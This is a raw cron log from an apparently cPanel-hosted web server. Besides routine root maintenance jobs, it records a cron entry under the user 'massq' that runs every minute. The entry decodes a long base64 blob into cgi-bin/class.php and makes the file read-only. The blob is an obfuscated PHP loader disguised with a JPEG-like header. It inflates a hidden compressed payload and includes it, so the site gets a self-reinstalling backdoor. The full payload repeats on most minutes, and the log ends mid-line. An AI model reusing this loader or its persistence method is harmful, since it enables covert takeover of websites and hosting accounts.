Sep  9 08:14:01 server CROND[19217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:14:01 server CROND[19219]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:14:01 server CROND[19218]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:15:01 server CROND[19728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:15:01 server CROND[19729]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 08:15:01 server CROND[19732]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:15:01 server CROND[19752]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 08:15:01 server CROND[19751]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  9 08:15:01 server CROND[19756]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 08:15:01 server CROND[19755]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 08:15:01 server CROND[19750]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 08:15:01 server CROND[19761]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:16:01 server CROND[20556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:16:01 server CROND[20557]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:16:01 server CROND[20559]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:17:01 server CROND[20925]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:17:01 server CROND[20926]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:17:01 server CROND[20927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:18:01 server CROND[21293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:18:01 server CROND[21294]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:18:01 server CROND[21295]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:19:01 server CROND[21701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:19:01 server CROND[21702]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:19:01 server CROND[21703]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:20:01 server CROND[22176]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 08:20:01 server CROND[22177]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 08:20:01 server CROND[22179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:20:01 server CROND[22186]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 08:20:01 server CROND[22190]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 08:20:01 server CROND[22192]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:20:01 server CROND[22193]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:20:01 server CROND[22194]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 08:20:01 server CROND[22189]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 08:21:01 server CROND[23175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:21:01 server CROND[23176]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:21:01 server CROND[23177]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:22:01 server CROND[23558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:22:01 server CROND[23559]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:22:01 server CROND[23560]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:23:01 server CROND[23934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:23:01 server CROND[23935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:23:01 server CROND[23936]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:24:01 server CROND[24311]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:24:01 server CROND[24312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:24:01 server CROND[24313]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:25:01 server CROND[24779]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:25:01 server CROND[24780]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 08:25:01 server CROND[24777]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 08:25:01 server CROND[24788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:25:01 server CROND[24791]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  9 08:25:01 server CROND[24793]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 08:25:01 server CROND[24789]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 08:25:01 server CROND[24790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBd